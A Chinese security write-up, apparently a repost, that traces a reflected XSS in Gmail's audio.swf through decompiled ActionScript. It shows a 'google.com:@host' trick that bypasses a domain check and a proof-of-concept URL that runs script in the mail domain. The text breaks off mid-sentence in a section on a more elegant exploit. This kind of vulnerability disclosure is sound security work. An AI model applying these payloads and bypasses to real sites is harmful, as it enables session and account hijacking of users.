一次SWF XSS挖掘和利用

wyzsk發表於2020-08-19
作者: p.z · 2012/12/28 18:43

[ 目錄 ]

[0x00] 背景

[0x01] 挖掘漏洞

[0x02] 優雅利用

[0x03] 從反射到rootkit

[0x04] 總結

[0x00] 背景

這篇遲到了近一年的paper是對 WooYun: Gmail某處XSS可導致賬號持久劫持 漏洞的詳細說明,趕在世界末日釋出,希望不會太晚.:)

既然標題已經提到了SWF XSS,那麼第一件事就是查詢mail.google.com域下的所有swf檔案.感謝萬能的Google,利用下面的dork,可以搜尋任意域的swf, "site:yourdomain.com filetype:swf",進行簡單的去重之後,我們得到了如下幾個swf檔案:

https://mail.google.com/mail/im/chatsound.swf
https://mail.google.com/mail/uploader/uploaderapi2.swf
https://mail.google.com/mail/html/audio.swf
https://mail.google.com/mail/im/sound.swf
https://mail.google.com/mail/im/media-api.swf

透過檔名以及直接開啟,對這些的swf的功能應該有了一個初步的判斷. chatsound.swf和sound.swf應該是播放聲音用的, uploaderapi2.swf是上傳檔案, audio.swf是播放音訊檔案, media-api.swf? 還是不知道幹嘛用的... 然後直接在Google裡搜尋這些swf的地址, 可以得到一些含有swf的地址, 比如"https://mail.google.com/mail/html/audio.swf?audioUrl= Example MP3 file", 透過這些swf後面跟的引數, 我們可以進一步推測出這個swf的功能, 此外在反編譯時搜尋這些引數, 可以快速地定位到整個swf的初始化的過程. 透過以上的過程, 我們發現, 該swf不僅僅接受audioUrl引數, 還接受videoUrl引數, 說明它還是一個影片播放器, 功能上的複雜化必然會對應用的安全性有所影響, 我們決定對此SWF檔案進行深入分析.

[0x01] 挖掘漏洞

下載反編譯後得到該swf所有的as檔案, 透過搜尋'ExternalInterface.call', 'getURL', 'navigateToURL', 'javascript:'等關鍵函式和字串, 可以快速地定位一些能夠執行javascript的程式碼段. 當搜尋'javascript:'時, 我們得到了如下有意思的程式碼:

==com.google.video.apps.VideoPlayback==
    _loc1.onPlaybackComplete = function ()
    {
        if (this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_NORMAL || this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_MINI)
        {
            this.queueURL("javascript:FlashRequest(\'donePlaying\', \'\"" + this.mediaPlayer_.url + "\"\');");
        } // end if
        ...

一個類似javascript偽協議的字串被代入了queueURL函式, 而且最為關鍵的是this.mediaPlayer_.url是被直接拼接到字串的, 並未加以對引號的轉義. 但說這是一個xss漏洞還為時過早, 因為我們不知道queueURL函式到底是做什麼的, 而且對於this.mediaPlayer_.url在賦值之前是否有進行過濾, 還是處於一個未知的狀態. 此外透過對函式名的判斷,onPlaybackComplete應該是一個在播放完畢之後的回撥函式.

我們搜尋到了函式queueURL被定義的地方, 程式碼如下:

==com.google.video.apps.VideoPlayback==
    _loc1.queueURL = function (url)
    {
        if (this.urlQueue_ == undefined)
        {
            this.urlQueue_ = new Array();
        } // end if
        this.urlQueue_.push(url);
    };
    ...

然後透過跟蹤"urlQueue_"變數, 發現如下程式碼:

==com.google.video.apps.VideoPlayback==
    _loc1.checkForPageChanges = function ()
    {
        ...
        if (this.urlQueue_ != undefined)
        {
            var _loc2 = this.urlQueue_.shift();
            if (_loc2 != undefined)
            {
                getURL(_loc2, "_self");
            } // end if
        }
        ...

繼續跟蹤"checkForPageChanges"函式:

==com.google.video.apps.VideoPlayback==
    _loc1.initPlayerWithVars = function ()
    {
        ...
        _global.setInterval(this, "checkForPageChanges", 100);
        ...

搜尋"initPlayerWithVars"函式:

==com.google.video.apps.VideoPlayback==
    _loc1.initializePlayer = function ()
    {
        ...
        if (this.mediaState_ != undefined && (this.mediaState_.videoUrl != undefined || this.mediaState_.audioUrl != undefined))
        {
            this.initPlayerWithVars();
        } // end if

從函式名字initializePlayer推斷, 這個應該是一個初始化播放器的函式, 在swf開啟的時候應該會被執行. 透過搜尋的結果, 對整個過程進行反演:initializePlayer函式初始化播放器, 透過對(this.mediaState_ != undefined && (this.mediaState_.videoUrl != undefined || this.mediaState_.audioUrl != undefined))這一邏輯的判讀, 如果為true, 則執行initPlayerWithVars函式, 每隔100毫秒呼叫checkForPageChanges函式, checkForPageChanges函式會檢查urlQueue_是否為空陣列, 如果不為空, 則彈出陣列成員, 直接傳入getURL函式. 而onPlaybackComplete則是一回撥函式, 當播放完成後自動呼叫, 如果滿足邏輯(this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_NORMAL || this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_MINI), 會把this.mediaPlayer_.url引數壓入urlQueue_陣列.

透過以上跟蹤分析, 我想我們可以得到第一個疑問的答案了,this.mediaPlayer_.url引數最終會被傳入到getURL函式. 現在要來看mediaPlayer_.url引數是怎麼取到的.

搜尋mediaPlayer_.url:

==com.google.video.apps.VideoPlayback==
    _loc1.initPlayerWithVars = function ()
    {
        this.videoStats_.endPlayback();
        if (this.mediaState_.videoUrl != undefined)
        {
            this.mediaPlayer_.mediaType = com.google.ui.media.MediaPlayer.MEDIA_VIDEO;
            this.setVideoUrl(this.mediaState_.videoUrl);
        }
        else if (this.mediaState_.audioUrl != undefined)
        {
            this.mediaPlayer_.mediaType = com.google.ui.media.MediaPlayer.MEDIA_AUDIO;
            this.mediaPlayer_.url = this.mediaState_.audioUrl;

            ...

    _loc1.setVideoUrl = function (url)
    {
        this.mediaPlayer_.url = url;
        ...
    };

透過上述程式碼可以發現mediaPlayer_.url可以從兩個地方獲取, mediaState_.videoUrl和mediaState_.audioUrl. 現在再回過頭來看文章開頭的地方提到兩個引數, videoUrl和audioUrl, 我們推斷mediaState_.videoUrl和mediaState_.audioUrl引數是從url中傳入的. 為了驗證這一的想法, 我把audio.swf放置在本地伺服器上, 並自己寫了一個swf去讀取audio.swf中的mediaState_.videoUrl和mediaState_.audioUrl. 當我載入http://localhost/gmail/audio.swf?videoUrl=http://localhost/test.flv時, 發現讀取到的mediaState_.videoUrl為空.看來事情並沒有我們想象的那麼簡單.

我們繼續來跟程式碼. mediaState_應該是一個類的例項, 透過例項的名字, 我們猜測類名可能是mediaState, 搜尋mediaState, 果然存在這個類:com.google.video.apps.MediaState. 閱讀程式碼, 我們發現了讀取mediaState_.videoUrl值失敗的關鍵邏輯

==com.google.video.apps.MediaState==
    _loc1.fromArgs = function (mainClip, playPageBase)
    {
        ...
        if (mainClip.videoUrl == undefined && mainClip.videourl != undefined)
        {
            mainClip.videoUrl = mainClip.videourl;
        } // end if
        ...
        if (com.google.webutil.url.Utils.isValidVideoUrl(mainClip.videoUrl))
        {
            this.videoUrl = mainClip.videoUrl;
        }
        if (com.google.webutil.url.Utils.isValidAbsoluteGoogleUrl(mainClip.audioUrl))
        {
            this.audioUrl = mainClip.audioUrl;
        }

看來swf對從url傳入的值進行了檢查. 我們接著跟蹤com.google.webutil.url.Utils.isValidVideoUrl和com.google.webutil.url.Utils.isValidAbsoluteGoogleUrl這兩個函式.

==com.google.webutil.url.Utils==
    _loc1.isValidVideoUrl = function (videoUrl)
    {
        if (com.google.webutil.url.Utils.isPrefix(videoUrl, "http://youtube.com/watch?v="))
        {
            return (true);
        } // end if
        var _loc3 = "http://vp";
        if (!com.google.webutil.url.Utils.isPrefix(videoUrl, _loc3))
        {
            return (false);
        } // end if
        var _loc4 = videoUrl.indexOf(".", _loc3.length);
        if (_loc4 != _loc3.length && _global.isNaN(_global.parseInt(videoUrl.slice(_loc3.length, _loc4))))
        {
            return (false);
        } // end if
        return (com.google.webutil.url.Utils.isPrefix(videoUrl.substr(_loc4), ".video.google.com/videodownload"));
    };

    _loc1.isValidAbsoluteGoogleUrl = function (url)
    {
        if (com.google.webutil.url.Utils.isValidAbsoluteUrl(url))
        {
            var _loc3 = "google.com";
            var _loc4 = com.google.webutil.url.Utils.getProtocolAndHost(url);
            var _loc5 = _loc4.substring(_loc4.length - _loc3.length);
            return (_loc5 == _loc3);
        } // end if
        return (false);
    };

現在回想一下我們利用成功的前提條件, 就是需要函式沒有在對mediaState_.videoUrl或mediaState_.audioUrl賦值時進行引號的轉義. 閱讀以上的程式碼, 我們發現驗證函式並沒有任何對引號進行轉義操作, 說明這個漏洞的確是存在的.:) 但是別高興地太早了, 在回過頭想一下觸發getURL的函式onPlaybackComplete, 沒錯, 是一個回撥函式, 需要影片流或者音訊流播放完畢, 因此, 我們必須要尋找一個確實存在的影片或者音訊檔案, 且能滿足以上對於url的檢查. 由於audio.swf檔案建立時間比較早, isValidVideoUrl函式中檢驗的幾個api均已經廢棄了, 因此我們轉向檢查較為寬鬆的isValidAbsoluteGoogleUrl的函式以尋求突破.

我們來看下com.google.webutil.url.Utils.getProtocolAndHost這個關鍵函式.

==com.google.webutil.url.Utils==
    _loc1.getProtocolAndHost = function (url)
        {
            var _loc3 = com.google.webutil.url.Utils.getProtocolHostAndPort(url);
            var _loc4 = _loc3.indexOf("://");
            var _loc5 = _loc3.lastIndexOf(":");
            if (_loc5 < 0 || _loc4 == _loc5)
            {
                return (_loc3);
            }
            else
            {
                return (_loc3.substring(0, _loc5));
            } // end else if
        };
    ...
    _loc1.getProtocolHostAndPort = function (url)
    {
        var _loc3 = url.indexOf("://");
        if (_loc3 == -1)
        {
            _loc3 = 0;
        }
        else
        {
            _loc3 = _loc3 + 3;
        } // end else if
        var _loc4 = com.google.webutil.url.Utils.indexOfOrMax(url, "/", _loc3);
        var _loc5 = com.google.webutil.url.Utils.indexOfOrMax(url, "?", _loc3);
        var _loc6 = Math.min(_loc4, _loc5);
        return (url.substring(0, _loc6));
    };

注意getProtocolAndHost函式中var loc5 = _loc3.lastIndexOf(":")這行程式碼, 我想程式設計師的本意是想利用這個":"獲取web應用的埠, 如localhost:8080之類的, 但是在uri中,還有一個地方是需要":"的, 就是在401登陸中, 作為使用者名稱和密碼的分割符, 而且這個":"出現的位置是在作為分割host和埠的":"之前. 利用這個特性,我們就可以很輕鬆地繞過isValidAbsoluteGoogleUrl的檢查了. 載入http://localhost/gmail/audio.swf?audioUrl=http://google.com:@localhost/t.mp3時, 成功地讀取到的mediaState.audioUrl的值,就是http://google.com:@localhost/t.mp3.

再加上其他引數,使得能滿足上述的一些if判斷,最後的poc如下:

https://mail.google.com/mail/html/audio.swf?playerMode=normal&autoplay=true&audioUrl=http://google.com:@localhost/gmail/t.mp3?%27%29%3Bfunction%20FlashRequest%28%29%7Balert%28document.domain%29%7D%2f%2f

URL解碼後如下

https://mail.google.com/mail/html/audio.swf?playerMode=normal&autoplay=true&audioUrl=http://google.com:@localhost/gmail/t.mp3?');function FlashRequest(){alert(document.domain)}//

我們拼接最後傳入getURL的偽協議字串

javascript:FlashRequest('donePlaying', 'http://google.com:@localhost/gmail/t.mp3?');function FlashRequest(){alert(document.domain)}//');

由於在承載swf的html頁面中FlashRequest未定義, 我們需要自己定義一個FlashRequest函式, 而且在js中, function語句是最先執行的, 所以不用擔心在執行FlashRequest('donePlaying', 'http://google.com:@localhost/gmail/t.mp3?')這句時FlashRequest還沒有定義. 當然, 你可以把alert(document.domain)轉換成任意你想要執行的js程式碼. 另外值得注意的一點就是, 由於getURL操作在mp3播放完畢後才觸發的, 因此我們把http://localhost/t.mp3剪下得足夠短, 只有0.5秒, 當你開啟swf之後, 不到一秒鐘, MP3已經載入並播放完畢, js得到了執行, 你很難察覺到其中的延遲.

[0x02] 優雅利用

對於一個完美主義者, 我們不得不承認, 上述提到的poc是醜陋的. 原因如下:

1. 我們的URL中含有大量的髒程式碼, 這僅僅是一個poc, 如果需要更進一步的操作, 我們還要新增大量字元到url.
2. 像"http://google.com:@localhost/t.mp3"這樣的URL只能被Firefox認可, Chrome和IE會廢棄這類的請求.
3. 如果我們需要真正地做一些dirty work, 而不僅僅是彈個document.domain的窗, 那麼我們可能需要進行一些的網路通訊, 比如載入js,獲取關鍵資料等, 而這些操作的代價是什麼, 沒錯, 就是時間. 我們的poc僅僅是播放一個0.5秒長的MP3檔案, 對於一個無聊的dead page, 人們的反應通常右上角的X. 換句話說, 我們爭取不到我們需要的時間.

那麼如何形成一個更加優雅的利用方式呢?

我在查詢fromArgs函式時, 發現以下的程式碼

==com.google.video.apps.VideoPlayback==
    if (com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.videoUrl) || com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.audioUrl))
    {
        this.mediaState_ = new com.google.video.apps.MediaState();
        this.mediaState_.fromArgs(this.clip_, this.vgcHostPort + com.google.video.apps.VideoPlayback.VGC_PLAYPAGE_PATH);
    }
    else if (com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.mediarss))
    {
        this.mediaRss_ = new com.google.xml.MediaRSS();
        this.mediaRss_.init(this.clip_.mediarss);
    }

我想大概有兩個辦法可以載入一段影片, 一個是直接賦值一個videoUrl, 正如前文提到的, 另一個就是透過制定一個mediarss, swf去解析這個rss, 播放其中指定的影片, 更美妙的是, 對於mediarss, 只判斷是是否是絕對地址(isValidAbsoluteUrl), 這使得載入我們直接伺服器上的mediarss檔案成為了可能.

讓我們忘記所有的程式碼吧, 對於這種xml檔案類的除錯, 我想以黑盒的方式更加方便一些. 再感謝萬能的Google, 我從網上找到了一份mediarss的樣本, 修改如下, 我們替換了

相關文章